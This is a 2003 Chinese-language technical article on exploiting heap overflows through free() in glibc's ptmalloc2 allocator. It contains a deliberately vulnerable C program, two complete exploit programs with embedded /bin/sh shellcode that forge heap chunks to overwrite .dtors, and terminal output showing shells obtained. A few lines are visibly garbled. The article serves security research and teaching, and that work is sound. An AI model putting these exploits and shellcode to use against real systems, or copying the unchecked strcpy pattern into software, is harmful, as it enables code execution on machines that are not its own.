ptmalloc2的堆溢出利用初探
创建时间:2003-09-18
文章属性:转载
文章来源:backend [at] nsfocus.com
文章提交: watercloud (watercloud_at_xfocus.org)
原文章贴于Unix Hacking版,在讨论新版本glibc堆管理中backend整理的一篇文章。
讨论参考:
https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28202
ptmalloc2的堆溢出利用初探
By backend at nsfocus.com
Date: 2003-09-16
★ 目录
起因
原因
分析
突破
代码
例外
结束
参考
★ 起因
先看一下本文的漏洞程序:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int foo(char *s1,char *s2)
{
strcpy(s1,s2);
printf("input:%s/r/n",s1);
return 0;
}
main(int argc,char **argv)
{
char *p1;
char *p2;
if(argc<2)
{
printf("Usage:%s <string>/n",argv[0]);
exit(0);
}
if(strlen(argv[1])>100-1)
{
printf("ERROR:too long/n");
exit(0);
}
p1=(char *)malloc(20);
p2=(char *)malloc(100);
memset(p1,0,20);
memset(p2,0,100);
strcpy(p2,argv[1]);
foo(p1,p2);
free(p1);
free(p2);
printf("END./n");
exit(0);
}
$ gcc -o heapvul heapvul.c
对于旧版本的glibc库,代码采用的是Doug Lea的malloc实现,因此攻击是非常简单的。
根据warning3在2001年初发表的《一种新的Heap区溢出技术分析》
( http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847),很容
易就能写出以下攻击代码:
/* Compile: gcc -o ex1 ex1.c */
#include <stdio.h>
#include <stdlib.h>
#define __FREE_HOOK 0x40163700
#define VULPROG "./heapvul"
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
char shellcode[] =
"/xeb/x0a/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[40], fake_chunk[16];
char *env[2];
unsigned int *ptr;
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
/* 伪造一个块结构 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
/* 设置长度为-4,这个值应当是4的倍数 */
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12 ;
*ptr++ = codeaddr;
bzero(buf, 40);
memset (buf, 'A', 16); /* 填充无用数据 */
memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));
execle (VULPROG, VULPROG, buf, NULL, env);
} /* End of main */
[backend@redhat72 nsfocus]$ uname -a
Linux nsfocus 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
gcc -o ex1 ex1.c
[backend@redhat72 nsfocus]$ ./ex1
input:AAAAAAAAAAAAAAAAD3"??@??
sh-2.05$
但是上面这段代码在Red Hat 8系统上不能成功:
[backend@redhat8 nsfocus]$ gcc -o ex1 ex1.c
input:AAAAAAAAAAAAAAAAD3"?癮B??
Segmentation fault (core dumped)
★ 原因
这是因为在新版本的glibc库中堆内存管理采用了Wolfram Gloger的ptmalloc/ptmalloc2
代码。ptmalloc2代码是从Doug Lea的代码移植过来的,主要目的是增加对多线程(尤其
是SMP系统)环境的支持,同时进一步优化了内存分配、回收的算法。
由于在ptmalloc2中引入了fastbins机制,malloc()/free()溢出在某些条件下会受到更
多的限制,虽然作者的本意并不是针对溢出攻击。由于fastbins是单向链表数组,每一
个fastbin是一个单向链表,满足fastbins条件的内存块回收时将被放入相应的fastbin
链表中,以便在以后的
内存申请时能更快地再被分配出去,从而提高性能。因此要利用ptmalloc2的堆溢出(指
free()调用,以下同),首先必须绕过fastbins机制。
除此之外,free()的实现代码与旧版本的也有不同,fake_chunks的创建和利用也必须有
所改变。下面就开始针对源代码中free()的各种检查条件来探索。
注意!!!在继续阅读以下内容之前,请确保你已经了解warning3的《一种新的Heap区
溢出技术分析》中所涉及的知识,尤其是chunk的结构和unlink的操作,否则你也许会
觉得有点晕头转向。;)
★ 分析
要达到利用free()函数调用来攻击的目的,需要满足以下跫?br />
1、通过某些漏洞(例如堆溢出)来覆盖将要被free()的chunk
2、在被覆盖chunk的位置上构造fake_chunk
3、fake_chunk要确保在free()函数调用过程中运行unlink宏
4、unlink宏所操作的内存将修改程序的流程
在上面的heapvul.c程序中,由于p1指向的是malloc(40)内存,这块内存在free()回收
时由于满足fastbins条件而被直接放入某个fastbin链表中:
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) // 满足fastbins条件
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]); // 此处三行代码将内存块插
入相应fastbin链表
p->fd = *fb;
*fb = p;
}
而因为p1的chunk结构头部我们无法控制,所以free(p1)是利用不了了。
那么free(p2)呢???
★ 突破
由于通过利用p1指向的内存块过小且没有边界检查,我们能够覆盖(控制)p2所指向内
存块的chunk结构头部,也就是说free(p2)时的操作将依赖于覆盖内容,即满足了第1、
2个条件。因此我们只要精心构造fake_chunk,就完全有可能满足第3、4个条件,从而
使攻击成功。
分析_int_free()(free()的真正实现代码):
A)(代码见上面,)使p2不满足fastbins条件
即:fake_chunk->size > 72(av->max_fast缺省值) <--- A
B) else if (!chunk_is_mmapped(p)) {
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
assert(nextsize > 0);
即:fake_chunk->size & IS_MMAPPED == 0 (#define IS_MMAPPED 0x2) <--- B1
(fake_chunk+size)->size > 0 <--- B2
C) 接下来:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd); /* #1 */
}
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize); <--- @_@
/* consolidate forward */
if (!nextinuse) {
unlink(nextchunk, bck, fwd); /* #2 */
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck; /* #3 */
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
可以看到有两个地方调用了unlink。第一个unlink(#1)的条件是前一内存块未被使
用,由于PREV_INUSE就在当前内存块的size中,似乎最容易控制,但由于后面还有一段
代码(#3),这段代码还会再一次修改已经被我们(通过unlink操作)改写的内存(
注:在这里主要是shellcode的入口会被bck覆盖)。因此我们把目标转向第二个unlink
(#2),它要求满足两个条件:
nextchunk不是top块(堆边界),这个绝大多数情况下都符合;
下一个chunk块未被使用,即再下一chunk块的PREV_INUSE位为0。 <-- C
至此,如果上述条件都能满足,则将调用到unlink,从而修改我们指定的内存(注意,
地址由下一个chunk块的fd/bk指针决定!)。
下面该做的就是一步步地确定如何构造各个fake_chunk了:
首先,所有的fake_chunk都不能含有零字符,否则会遇到字符串截断问题。同时所有
fake_chunk的IS_MMAPPED位均为零。(满足条件B1)
(fake_chunk1即free(p2)时首先检查的chunk,其作用是让_int_free()计算出
fake_chunk2的位置。)
第一,fake_chunk1->pre_size(PSZ1),暂时没有要求(当然最好对齐)。
第二,fake_chunk1->size(SZ1)要大于72(max_fast);同时PREV_INUSE位置1,以
使#1的unlink不被触发(这样我们就不用考虑PSZ2了;))。
第三,fake_chunk1->fd(FD1),暂时没有要求(当然最好对齐)。
第四,fake_chunk1->bk(BK1),同FD1。
(fake_chunk2的作用至关重要,它将使unlink“合法”地释放自己,即修改内存!)
第五,fake_chunk2->pre_size(PSZ2),同PSZ1。
第六,fake_chunk2->size(SZ2),要求SZ>0且(fake_chunk2+SZ2)->size & PREV_SIZE
为零。
第七,fake_chunk2->fd(FD2),指向要修改内存的地址-12。
第八,fake_chunk2->bk(BK2),指向shellcode。
接着,我们要进一步确定各个字段的数值:
对于PSZ1和PSZ2,取值如:0x11223344
对于SZ1,由于fake_chunk2的定位依赖于SZ1,
如果取正值,会很大(因为各字节不能为零),可以取适当值使fake_chunk1+SZ1
位于堆栈的环境变量中,然后把fake_chunk2通过环境变量输出。这样有一个缺点是不
容易定位,因为不能精确定位fake_chunk1地址,只能通过猜测。
如果取负值呢???我们可以回过头来再看看_int_free()的代码,可以惊奇地发
现居然是允许的!!!呵呵,这样就好办了。我们可以把fake_chunk2放到fake_chunk1
前面!SZ1取值0xfffffff0(-16)。(满足条件A)
对于FD1和BK1,取值如:0x08080808
对于SZ2,乍看之下可以任意取值,只要(fake_chunk2+SZ2)->size & PREV_SIZE为零即
可(偶当时调试时主要就卡在这里),其实不然。在@_@处的代码是读内存操作,如果
内存页面不存在,会导致缺页异常。因此我决定让fake_chunk2+SZ2指向一个必然存在
内存页表的空间--用户堆栈的最高一页(即0xbffff000-0xbfffffff),即SZ取值
(0xbffff800 - bss_addr)。(满足条件B2和条件C)
对于FD2,由于可以利用的内存地址很多,我这里选择的是静态确定的.dtors段,即FD
取值(dtors_addr + 4 - 12)。
对于BD2,用环境变量输出shellcode是最容易确定地址的方法之一。
现在,我们可以画出伪造前后的内存分布示意图了:
+-> 块1 +-> 块2
| |
+----------------+------------------------+----------------------------+
|prev_size| size | 16bytes |prev_size2| size2 |任意数据
+----------------+------------------------+----------------------------+
+----------------+------------------------+----------------------------+
|prev_size| size | PSZ2 | SZ2 | FD2 | BK2 | PSZ1 | SZ1 | FD1 | BK1 |
+----------------+------------------------+----------------------------+
| |
+-> fake_chunk2 +-> fake_chunk1
★ 溢出代码
/* Concept-of-proof exploit for free() @ Wolfram Gloger's ptmalloc2
*
* By backend at nsfocus.com ( http://www.nsfocus.com)
* Date: 2003-09-15
*
* Compile: gcc -o ex2 ex2.c -lbfd
*/
#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <strings.h>
#include <linux/elf.h>
#define VULPROG "./heapvul"
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define bfd_error(s) { bfd_perror(s); exit(-1); }
unsigned int bss_addr, dtors_addr;
void GetBfdInfo ()
{
bfd *abfd;
asection *asec;
bfd_init ();
abfd = bfd_openr (VULPROG, NULL);
if (!abfd) bfd_error("openr");
if (!bfd_check_format (abfd, bfd_object))
bfd_error("object format");
asec = bfd_get_section_by_name (abfd, ".bss");
if (!asec) bfd_error(".bss section");
bss_addr = (unsigned int)(asec->vma);
asec = bfd_get_section_by_name (abfd, ".dtors");
if (!asec) bfd_error(".dtors section");
dtors_addr = (unsigned int)(asec->vma);
bfd_close (abfd);
}
char shellcode[] =
"/xeb/x0a/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";
main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[40], fake_chunks[40];
char *env[2];
unsigned int *ptr;
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
env[0] = shellcode;
env[1] = NULL;
GetBfdInfo ();
bzero(fake_chunks, 40)
ptr = (unsigned int *)fake_chunks;
*ptr++ = 0x11223344; /* garbage */
*ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
*ptr++ = dtors_addr + 4 - 12;
*ptr++ = codeaddr;
*ptr++ = 0x11223344; /* garbage */
*ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;
/* garbage
*ptr++ = 0x08080808;
*ptr++ = 0x08080808;
*/
bzero(buf, 40);
memcpy (buf, fake_chunks, sizeof (fake_chunks));
execle (VULPROG, VULPROG, buf, NULL, env);
} /* End of main */
[backend@redhat8 nsfocus]$ gcc -o ex2 ex2.c -lbfd
[backend@redhat8 nsfocus]$ ./ex2
input:D3"`ǜ焟3"?
END.
sh-2.05b$
★ 例外
ptr = (unsigned int *)fake_chunks;
*ptr++ = 0x11223344;
*ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
*ptr++ = dtors_addr + 4 - 12;
*ptr++ = codeaddr;
*ptr++ = 0x11223344;
*ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;
上面给出的代码有几个可能导致失败的地方--
bbs_addr!!!
dtors_addr!!!
codeaddr!!!
其中前两个值是编译后静态(直接从文件头读取),而codeaddr对于固定系统来说也是固定不变的。
当这三个地址值中只要在计算结果后存在一个00(即零字符),就会导致字符串拷贝截断问题!!!
在我的RH8测试机上,未加memset(p2,0,100)时:
bss_addr at: 0x8049734
dtors_addr at 0x80496f8
fake_chunks len: 24
溢出成功。
当加上memset(p2,0,100)时:
bss_addr at: 0x8049744
dtors_addr at 0x8049708
fake_chunks len: 8
溢出失败!
看到了吗?dtors_addr的最低字节为08,dtors_addr + 4 - 12 = 0x8049700,所以导致
fake_chunks的字符串长度只有8了!!!
验证:修改任意无关指令(例如删除prinf()、增加printf())。例如在我的测试机上把
printf("END./n");
改为(或删除也行):
printf("END.");
printf("/n");
后,重编译运行结果:
bss_addr at: 0x8049754
dtors_addr at 0x8049718
fake_chunks len: 24
input:D3"琡?緿3"?
END.
sh-2.05b$
如果无法修改源代码的呢?也还有很多种可选方案,例如修改GOT、修改函数指针、修改
EBP、修改函数返回地址,等等。当然难度可能就不一定一样了。
★ 结束语
上面简单介绍了在新版本glibc下如何通过free()调用来利用堆溢出。可以看到由于引
入了fastbins机制,malloc/free等调用会随具体情况不同而可能略有差异。例如,
free()一块large chunk与一块small chunk是不一样的,即使都是small chunk,还有
是否属于fastbins之分,等等。而对于exploit爱好者,设计构造fake_chunks也很有
乐趣。如何在把堆放到栈中?;)如何伪造chunk结构?覆盖哪些地址?如何调试?
…………这些问题就留给感兴趣的读者吧。
在即将写完这篇东东之际,发现bkbll在2003年9月初也发表了一篇研究相同问题的文章
《一种小堆(heap)溢出的另类利用方法》
( http://www.nsfocus.net/index.php?act=sec_doc&do=view&doc_id=867)。不妨对
照着研究,也许会有新的发现。
★ 参考文献
[1] warning3, <<一种新的Heap区溢出技术分析>>
http://magazine.nsfocus.net/index.php?act=magazine&do=view&mid=847
[2] Doug Lea, <<A Memory Allocator>>
http://gee.cs.oswego.edu/dl/html/malloc.html
[3] Wolfram Gloger, ptmalloc2 source code
http://www.malloc.de/malloc/ptmalloc.tar.gz